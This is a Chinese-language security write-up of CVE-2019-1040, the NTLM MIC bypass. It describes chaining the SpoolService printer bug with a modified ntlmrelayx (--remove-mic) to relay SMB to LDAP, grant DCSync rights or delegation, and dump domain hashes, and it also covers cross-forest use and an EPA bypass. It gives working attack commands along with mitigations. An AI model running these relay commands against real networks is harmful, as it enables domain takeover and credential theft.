利用CVE-2019-1040 - 結合RCE和Domain Admin的中繼漏洞

  0x00  前言

      在本週以前，微軟發佈了針對CVE-2019-1040的補丁，這是一個容許繞過NTLM身份驗證中繼攻擊的漏洞。這個漏洞是由Marina Simakov和Yaron Zinar（以及微軟諮詢公司的其餘幾位成員）發現的，他們在這裏發表了一篇關於該漏洞的漏洞細節。該漏洞容許繞過NTLM身份驗證中的消息完整性。然而，若是與Lee Christensen發現的打印機Bug以及我本身的一些研究相結合，這些研究是創建在Elad Shamir的Kerberos研究基礎之上，那麼它的影響是至關大的。利用這些漏洞的組合，能夠將SMB身份驗證中繼到LDAP。這容許在任何未打補丁的Windows服務器或工做站（甚至是位於不一樣Active Directory林中的服務器或工做站）上以SYSTEM身份執行遠程代碼，並經過任何未打補丁的Exchange服務器上能夠將普通用戶權限當即升級到域管理員（除非域中的Exchange權限減小）權限。

 0x01  攻擊方法

1.將SMB中繼到LDAP 

         正如我之前在關於PrivExchange的博客中所討論的那樣，在過去一年中不一樣的人所作的研究，使咱們距離控制Active Directory中的任何計算機權限只有一步之遙。若是您能夠欺騙Windows服務器（如Exchange）與你進行身份驗證，並經過LDAP將該身份驗證中繼到域控制器，那麼可使用被中繼受害者的權限在Active Directory中執行操做。在有Exchange的狀況下，這會致使足夠高的權限授予本身dcsync權限，這也是priveExchange漏洞的問題。或者，經過濫用基於資源的受約束的Kerberos委託，能夠在受害者服務器上授予攻擊者模擬權限，這將致使在該服務器上擁有管理員訪問權限（在我發佈的最很差的帖子中有描述）。然而，問題在於，因爲NTLM協議的工做方式，（或多或少偶然）沒法將SMB流量中繼到LDAP，由於這些標誌將觸發LDAP簽名。這就阻止了因爲濫用SpoolService錯誤而在SMB上觸發的身份驗證產生更多的影響.CVE-2019-1040漏洞能夠修改NTLM身份驗證數據包而不會使身份驗證失效，從而使攻擊者可以刪除阻止從SMB中繼到LDAP的標誌。由於Active Directory已處於很是危險的狀態（遠離控制任何主機的一個漏洞），因此這個漏洞是使用spoolservice bug/功能來攻擊任何系統的最後一個難題。這甚至能夠跨林信任，由於SpoolService錯誤的惟一要求是任何通過身份驗證的賬戶。

2.攻擊

目前我已準備了兩種攻擊途徑：  

• 使用任何AD賬戶，經過SMB鏈接到受害者Exchange服務器，並觸發SpoolService錯誤。攻擊者服務器將經過SMB與您從新鏈接，可使用修改後的ntlmrelayx來中繼到LDAP。使用中繼的LDAP身份驗證，向攻擊者賬戶授予dcsync權限。攻擊者賬戶如今可使用DCSync轉儲AD中的全部密碼哈希值。
• 使用任何AD賬戶，經過SMB鏈接到受害者服務器，並觸發SpoolService錯誤。 攻擊者服務器將經過SMB與您從新鏈接，可使用修改後的ntlmrelayx中繼到LDAP。 使用中繼的LDAP身份驗證，在受害者服務器上，將基於資源約束委派的權限授予攻擊者控制下的計算機賬戶。 攻擊者如今能夠以受害者服務器上的任何用戶權限進行身份驗證

關於這一點，有幾個注意事項：

• 在第一次攻擊中，Exchange服務器能夠是任何版本（包括爲PrivExchange已打補丁的版本）。惟一的要求是，在以共享權限或RBAC模式安裝時，Exchange默認狀況下具備高權限。在2019年2月12日以後安裝的新Exchange部署，或者手動更新以減小此Microsoft博客中建議的安裝方法而不易受到攻擊（但仍可能受到第二次攻擊）。
• 在第二次攻擊中，服務器能夠是任何未打補丁的Windows Server或工做站，包括域控制器。在以域控制器爲目標時，至少須要一個易受攻擊的域控制器來中繼身份驗證，同時在另外一個域控制器上觸發SpoolService錯誤（理論上可能會中繼到同一主機，由於咱們能夠更改NTLM身份驗證，我沒有對此進行研究過）。
• 第二次攻擊須要控制計算機賬戶。這多是攻擊者從中獲取密碼的計算機賬戶，由於他們已是工做站上的管理員，或者是攻擊者建立的計算機賬戶，濫用了Active Directory中的任何賬戶均可以默認建立這些賬戶

2.1 攻擊1 - Exchange上執行（再次）

在第一次攻擊中，咱們使用SpoolService 打印機錯誤來攻擊Exchange服務器，並使用ntlmrelayx進行中繼。可使用krbrelayx repo中的printerbug.py，也可使用dementor或原始的.NET代碼

python printerbug.py  testsegment.local/testuser@s2012exc.testsegment.local   <attacker ip/hostname>

  這將使Exchange服務器鏈接到咱們：

在使用Ntlmrelayx時，咱們能夠看到它的--remove mic標誌：

ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support

這授予咱們的用戶DCSync權限，咱們可使用它來轉儲全部密碼哈希值：

2.2 攻擊2 - Kerberos委派 

第二次攻擊主要是我以前博客中描述的過程。  

咱們使用--remove-mic和--delegate-accessflags ，啓動ntlmrelayx.py，並經過tls（ldaps）將其中繼到ldap，以便可以建立新的計算機賬戶（咱們還能夠中繼到普通ldap，但隨後必須升級現有的計算機賬戶） 

ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support

而後針對輔助域控制器，再次運行printerbug.py腳本（我知道它在rlt-app-server下調用，但這是我在實驗室中提高爲DC的服務器）：

  這使咱們得到一箇中繼鏈接，建立了一個計算機賬戶

咱們可使用它來模擬域管理員賬戶：  

咱們可使用這個模擬的票據直接對這個DC運行secretsdump並獲取全部哈希值：

 0x02  技巧 - 繞過森林

若是在徹底不一樣（受信任）的Active Directory林中的用戶，咱們能夠在relaytest.local域中執行徹底相同的攻擊，由於任何通過身份驗證的用戶均可以觸發spoolservice 反向鏈接。所以，我創建了一個從relaytest.local到domainb.local的單向傳出林信任（這意味着domainb的用戶能夠在relaytest林/域中進行身份驗證）。這一樣適用於雙向信任

 

咱們運行相同的命令，但如今觸發來自domainb的用戶的打印機錯誤：

咱們看到了一樣的結果：

 

 

0x03  刪除MIC 標誌 (CVE-2019-1040)

我已經更新了ntlmrelayx（impacket的一部分），使其具備一個--remove-mic標誌，它是基於CVE-2019-1040的漏洞技術研究。 

1.背景

正如咱們在最近的安全 通報中所 宣佈的那樣，Preempt的研究人員發現瞭如何在NTLM身份驗證上繞過MIC（消息完整性代碼）保護，以及修改NTLM消息流中的任何字段，包括簽名要求。此繞過容許攻擊者將已經協商簽名的身份驗證嘗試中繼到另外一臺服務器上，同時徹底刪除簽名要求。全部不強制簽名的服務器都容易受到攻擊

NTLM中繼是對Active Directory環境最多見的攻擊之一。針對這種攻擊技術最顯著的緩解措施是服務器簽名。可是，默認狀況下，只有域控制器強制執行SMB簽名，這在許多狀況下會使其餘敏感服務器容易受到攻擊。可是，爲了攻擊這樣的服務器，攻擊者須要捕獲一個不協商簽名的NTLM協商字段，在HTTP中是這樣，但在SMB中不是這種狀況，默認狀況下，若是雙方都支持簽名，則必須對會話進行簽名。爲了確保NTLM協商階段不被攻擊者篡改，Microsoft在最終的NTLM身份驗證消息中添加了一個附加字段--MIC。然而，咱們發現，在微軟最新的安全補丁以前，這個字段是無用的，它啓用了全部最須要的中繼場景——從SMB到SMB的中繼

2.會話簽名

當用戶經過NTLM對目標進行身份驗證時，他們可能容易受到中繼攻擊。爲了保護服務器免受此類攻擊，Microsoft引入了各類緩解措施，其中最重要的是會話簽名。當用戶針對服務器創建簽名會話時，因爲沒法檢索所需的會話密鑰，攻擊者沒法劫持會話。在SMB中，經過在NTLM_NEGOTIATE消息中設置「NTLMSSP_NEGOTIATE_SIGN」標誌來協商會話簽名。客戶端行爲由多個組策略（「Microsoft網絡客戶端：數字簽名通訊」）來決定，默認配置是爲其設置有問題的標誌。若是攻擊者試圖中繼這樣的NTLM身份驗證，他們將須要確保不協商簽名。這樣作的一種方法是中繼到協議，其中NTLM消息不控制會話完整性，例如LDAPS或HTTPS。可是，這些協議並不是在每臺計算機上都被打開的，而是在全部Windows計算機上默認啓用的SMB，在許多狀況下，它容許遠程執行代碼。所以，NTLM中繼攻擊的技巧在於將SMB身份驗證請求中繼到其餘SMB服務器。爲了成功執行此類NTLM中繼，攻擊者須要修改NTLM_NEGOTIATE消息並取消設置「NTLMSSP_NEGOTIATE_SIGN」標誌。可是，在新的NTLM版本中，能夠防止這種被修改的保護 - MIC覆蓋

                                                                                           NTLM_NEGOTIATE消息指示是否協商SMB簽名   

3.MIC概述

NTLM身份驗證由3種消息類型組成：NTLM_NEGOTIATE，NTLM_CHALLENGE，NTLM_AUTHENTICATE。爲了確保消息在傳輸過程當中不會被惡意者進行篡改，在NTLM_AUTHENTICATE身份驗證消息中添加了一個額外的MIC（消息完整性代碼）字段。MIC是使用會話密鑰應用於全部3條NTLM消息的串聯的HMAC_MD5，該會話密鑰僅對啓動認證的賬戶和目標服務器是已知的。所以，試圖篡改其中一條消息的攻擊者（例如，修改簽名協商）將沒法生成相應的MIC，這將致使攻擊失敗。

 

                                                                                                      「MIC」字段可防止NTLM消息修改

MIC的存在在NTLM_AUTHENTICATE消息的'msvAvFlag'字段中（標誌0x2表示該消息包括MIC），它應徹底保護服務器免受試圖刪除MIC並執行NTLM中繼的攻擊者的攻擊。可是，咱們發現Microsoft服務器不利用此保護機制，而且容許未簽名（無MIC））NTLM_AUTHENTICATE消息。

                                              'flags'字段指示NTLM_AUTHENTICATE消息包括MIC  

4.刪除MIC

咱們發現全部NTLM身份驗證請求都容易受到中繼攻擊，不管哪一個協議承載這些請求。若是協商請求包含簽名要求，攻擊者須要執行如下操做才能繞過MIC的保護：  

• 取消設置NTLM_NEGOTIATE消息中的簽名標誌（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）  
• 從NTLM_AUTHENTICATE消息中刪除MIC 
• 從NTLM_AUTHENTICATE消息中刪除版本字段（刪除MIC字段而不刪除版本字段將致使錯誤）
• 在NTLM_AUTHENTICATE消息中取消設置如下標誌：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION。

咱們認爲這是一個嚴重的攻擊向量，它打破了MIC以任何方式保護NTLM身份驗證的誤解。咱們認爲問題在於，接受具備「msvAvFlag」值的認證的目標服務器實際上沒有驗證該字段的存在。這使得全部不強制執行服務器簽名的服務器（在大多數組織中，這意味着絕大多數服務器，由於默認狀況下只有域控制器強制執行SMB簽名）都容易受到NTLM中繼攻擊。  

此攻擊不只容許攻擊者繞過會話簽名協商，並且還使組織容易受到更復雜的中繼攻擊，這些中繼攻擊操縱傳輸中的NTLM消息以繞過各類安全設置，例如EPA（加強的身份驗證保護）。有關此攻擊的更多詳細信息，請參閱如下博客。 

爲了真正保護您的服務器免受NTLM中繼攻擊，請在全部服務器上強制執行簽名。若是此類配置對您的環境過於嚴格，請嘗試在儘量多的敏感服務器上配置此設置。

Microsoft已發佈如下修復程序：https：  //portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040 

 

0x04 繞過EPA攻擊支持Windows集成身份驗證Web服務器

正如咱們最近的安全通報中所宣佈的那樣，Preempt的研究人員發現瞭如何繞過加強的身份驗證保護（EPA）機制，成功地在任何支持WIA（Windows集成身份驗證）的服務器上經過TLS發起NTLM中繼攻擊。

攻擊者可使用此攻擊技術攻擊關鍵服務器，例如：

1. Exchange（OWA） - 對郵件服務器執行NTLM中繼到郵件服務器並竊取用戶電子郵件   
2. Active Directory聯合身份驗證服務（AD-FS） - 執行到HTTPS會話的NTLM中繼，並模擬雲資源上的用戶
3. Active Directory - 對LDAPS執行NTLM中繼,並使用惡意設置配置目錄。

能夠在全部Windows版本上利用此漏洞。Preempt還沒有發現任何緩解措施。

1. EPA - 背景

NTLM中繼是對Active Directory環境最多見的攻擊之一。微軟提供了兩種抵禦NTLM中繼攻擊的技術 ， 一種是服務器簽名，主要用於SMB和DCE/RPC，另外一種是通道綁定，也稱爲EPA。EPA是一種機制，可確保經過TLS通道發送的全部數據包都由知道客戶端密鑰的一方發送（在NTLM狀況下，NT是哈希）。這是經過將Windows身份驗證過程與TLS會話綁定來實現的，方法是要求客戶端使用GSSAPI安全性簽署服務器證書的派生版本。在NTLM中，這是經過在NTLM_AUTHENTICATE消息中添加特定的通道綁定AV對來實現的。因爲整個AV對結構都是在NTProofStr中籤名的，攻擊者沒法在不知道用戶的NT哈希的狀況下來修改它。

                                                                                          帶有通道綁定的NTLM_AUTHENTICATE消息  

2. EPA bypass

在另外一項發現中，Preempt研究人員找到了一種從NTLM身份驗證中刪除消息完整性代碼（MIC）的方法。當MIC別刪除時，攻擊者能夠篡改NTLMSSP_CHALLENGE消息。如何利用這些呢？

NTLMSSP_CHALLENGE消息包含TargetInfo字段，NTLM客戶端一般回顯TargetInfo中的全部AV對，並將這些AV對包含在NTLMSSP_AUTHENTICATE消息中的AV對中。這意味着任何攻擊者（能夠修改NTLM消息）均可以發送帶有本身選擇的通道綁定的惡意NTLM_CHALLENGE，以攻擊受EPA保護的任何服務器。

 

                                                           帶有通道綁定元素的惡意NTLM_CHALLENGE消息

咱們認爲這是一種嚴重的攻擊手段，由於EPA其實是保護關鍵服務器（如AD-FS或OWA）的惟一防線。在許多組織中，網絡中佔用空間較小的攻擊者極可能會使用戶經過NTLM進行身份驗證並傳遞其憑據。事實上，因爲AD-FS和OWA常常對互聯網開放，在某些狀況下，攻擊者只需發送惡意電子郵件（例如，所描繪的攻擊在這裏），就能夠在沒有受感染的機器的狀況下攻擊這些服務器。

                                                                           帶有植入通道綁定的NTLM_AUTHENTICATE消息  

0x05 防護和緩解措施

重要的是要了解補丁是不夠的。爲了徹底保護您的服務器免受這些類型的NTLM中繼攻擊，您須要首先在全部服務器上強制執行通道綁定。此任務可能被證實是困難的，由於這須要在每一個服務器上完成（沒有管理此功能的組策略）。此外，此漏洞可用於針對域控制器發起LDAPS中繼攻擊，相似於 2017年Preempt發現的攻擊。要防止LDAPS中繼攻擊，必須在全部域控制器上強制執行通道綁定

經過濫用CVE-2019-1040，咱們可使用協議弱點和默認設置的組合來控制任何易受攻擊的Windows主機。最重要的緩解措施是儘快安裝2019年6月的彙總補丁。

除此以外，若是您尚未這樣作，請按照PrivExchange博客（已發佈更新部分）中所說的那樣：下降Exchange的權限。

您能夠經過在TLS上爲LDAP強制LDAP簽名和LDAP通道綁定來阻止NTLM中繼到LDAP。然而，正如另外一個博客中所描述的那樣，當沒有安裝此問題的補丁時，也可能被繞過通道綁定

爲防止攻擊者觸發SpoolService錯誤，您能夠選擇禁用Printer Spooler服務。另外一種緩解方法是阻止主機上445端口的出站流量，或確保防火牆規則過濾來阻止服務器鏈接到客戶端範圍並儘量地隔離各個客戶端。通常來講，擁有精細分的分段網絡是一項重要的防護措施。

總而言之，請記住，即便安裝全部可用的補丁程序，您仍然能夠將SMB從中繼到LDAP，除非您應用進一步的縱深防護措施，不然它只是在等待下一個不可避免的NTLM攻擊

0x06  其餘

POC代碼暫時出如今個人我的GitHub上，直到它被合併到impacket：https://github.com/dirkjanm/impacket/tree/micremove中。這實現了SMB和LDAP（s）中繼客戶端中的MIC刪除。